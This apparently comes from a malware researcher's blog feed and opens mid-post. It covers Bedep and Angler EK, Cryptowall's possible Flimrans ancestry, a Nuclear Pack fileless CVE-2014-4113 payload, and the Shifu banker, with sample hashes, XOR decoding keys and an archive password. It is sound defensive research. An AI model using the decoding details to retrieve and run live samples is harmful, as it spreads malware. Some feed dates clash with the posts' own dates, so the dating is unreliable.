(which is a Bedep ip from end of 2015 reused) || (  && http.uri.path  "ads.php?sid=1901" ) and you are interested by the "real payload" then you might want to give PAfish a run.Marvin - Paranoid AndroidOn the other hand, any of your VM which has communicated with (Bedep "standard" 18xx 19xx instance)  since the 24 of March is hardened enough to grab the real payload.[Edits]- Removed the AU focused mention on the Vawtrak. I have been told (Thanks ! ) it's US focused. Got geo Glitched. Maybe more about that a day or the other.- Refine the check conditions for Researcher. IP and sid=1901...otherwise...ok :)[/Edits]Acknowledgements :Thanks Will Metcalf and Malc0de for the discussions and help on this topic--I'm sorry, but I must do it...Greetings to Angler and Bedep guys. 😉 You are keeping us busy...and awake !Reading :Video Malvertising Bringing New Risks to High-Profile Sites - 2016-03-18 - ProofpointBedep’s DGA: Trading Foreign Exchange for Malware Domains - 2015-04-21 - Dennis Schwarz - ArborSertAngler EK : now capable of "fileless" infection (memory malware) - 2014-08-30Modifying VirtualBox settings for malware analysis - 2012-08-23  - Mikael Keri

Cryptowall son of Borracho (Flimrans) ?

Wednesday February 10th, 2016 10:13:10 PM
Lately I received multiple questions about connection between Reveton and Cryptowall.I decided to have a look.A search in ET Intelligence portal at domains from Yonathan's Cryptowall TrackerET Intelligence search on Specspa .comshow that the first sample ET has talking with it is :e2f4bb542ea47e8928be877bb442df1b  2013-10-20A look at the http connexion shows the "us.bin" call mentioned by Yonathan (btw the us.bin item is still live there)ET Intelligence  : e2f4bb542ea47e8928be877bb442df1b http connexionsET Intelligence : Associated alert pointing at Cryptowall.A look into VirusTotal Intelligence shows that this sample is available in a Pcap captured and shared by ThreatGlass :NSFW://www.threatglass .com/malicious_urls/sunporno-comHiman EK dropping Cryptowall 2013-10-20captured by ThreatGlassWith the same referer and in the same Exploit Kit i got dropped 20 days earlier Flimrans :(See : )Flimrans disappeared soon after this post from 2013-10-08 about the affiliate : Flimrans is showing in US the same Design from Reveton pointed by Yonathan :Flimrans US 2013-10-03What is worth mentioning is that Flimrans was the only ransomware (i am aware of) to show a Spanish version of this same design :Flimrans ES 2013-10-03The timeline is also inline with a link between those two Ransomware (whereas Reveton was still being distributed months after these events).Digging into my notes/fiddlers i even found that this bworldonline .com which is still hosting the us.bin was in fact also the redirector to HiMan dropping Flimrans 20 days earlier from same sunporno upper.[The credits goes to Eoin Miller who at that time pointed that infection path allowing me to replay it]The compromised server storing the first design Blob used by cryptowallused to redirect 20 days earlier to Himan dropping Flimrans (which is using that same design).So...Cryptowall son of Borracho?

Nuclear Pack loads a fileless CVE-2014-4113 Exploit

Monday June 27th, 2016 08:23:00 AM
Yesterday's Nymaim spam campaign was also redirecting to Nuclear Pack.Without big surprise the sample ( 592899e0eb3c06fb9fda59d03e4b5b53 ) dropped by Nuclear is the same as the fake update proposed.But there was an additionnal 11kb payload call for which i could not find sample on driveNuclear Pack dropping Nymaim in the 2015-11-30 Spam CampaignIt was also unusually encoded with two XOR pass and first part of the decoded stream is a Shellcode.Friends (who don't want to be mentioned) figured a privilege escalation was in use there :According to Kaspersky and Timo Hirvonen (F-Secure) it's CVE-2014-4113 ( Win32k.sys Elevation of Privilege Vulnerability )I did not got to see the privilege escalation in live condition.Note: it's not the first time a public Exploit Kit is integrating an exploit to escalates right on dropped payload (Cf CVE-2015-2426 in Magnitude )Files : Fiddler and Dll here (password is malware - XOR key : 56774347426F664767  then  213404052d09212031)Thanks : Kaspersky,  Timo Hirvonen , Malc0de and 2 other friends for taking some time and use their wizardness  on this.Read More :An Analysis of A Windows Kernel-Mode Vulnerability (CVE-2014-4113) - 2014-10-29 - TrendMicro

Monday February 29th, 2016 08:29:24 AM
I noticed since several days a shift in malware distribution in the UK.Many infection path that I follow are now dropping a banker that i already saw many times, especially at the end of 2014 and mostly in Italy.First time I encountered that threat : 2014-10-08Angler EK dropping 165146e43ccee9c29b62693caf290df7 in an IT focused infection path2014-10-08At that time I learnt from Frank Ruiz ( FoxIT ) that he spotted it 1 month earlier (2014-09-03 exactly). We were using a "non public" name to talk about it.So two days ago in UK traffic :2015-09-22 - An Angler EK dropping  0598ee3e06c681d7f9e05d83bb7ea422 via malvertising on GBR trafficI saw that banking trojan again. (note : contacted,  Frank Ruiz told me that this banker activity never really stopped). What was new to me is that it was installing Apache,Apache folder installed by 0598ee3e06c681d7f9e05d83bb7ea422 2015-09-22Apache ConfigData folder of the Apache installationCustomers of 4 financial institutions are targeted by the injects stored in the config.xmlconfig.xmlThe same day i saw it again, other malvertising campaign (read: other actor bringing the traffic) and not dropped directly but as a 2nd Stage in a bedep thread which was not grabbing an adfraud module:Angler EK pushing bedep grabbing 791491ba9f0a7670659f45f1e5421c83 2015-09-22Seeing it again today in malvertising campaign focused on UK, I decided to write about that and contacted Brett StoneGross (Dell SecureWorks) to try and get the 'defense name' for this. He told me that what I was describing was probably Shifu ..and fast confirmed it looking at the sample. (Edit reaction to twitter : He also told me that Shifu is based on Shiz)So here we are: Shifu <3 GBRShifu <3 GBR2015-09-24Side note : Here are some of the DGA in case main domain stop working.Files : Password : malwareContains : 4 fiddler, 1 pcap, 6 samples and 2 apache config folder (with injects).Thanks: Frank Ruiz (Foxit) and Brett StoneGross (Dell SecureWorks) for their inputs/insight/awesomeness.Read More:Shifu: ‘Masterful’ New Banking Trojan Is Attacking 14 Japanese Banks - 2015-08-31 - Limor Kessem - IBM X-ForceJapanese Banking Trojan Shifu Combines Malware Tools - 2015-09-24 - Diwakar Dinkar - McAfeePost publication Reading:3,000 High-Profile Japanese Sites Hit By Massive Malvertising Campaign  2015-09-30 - Trenmicro
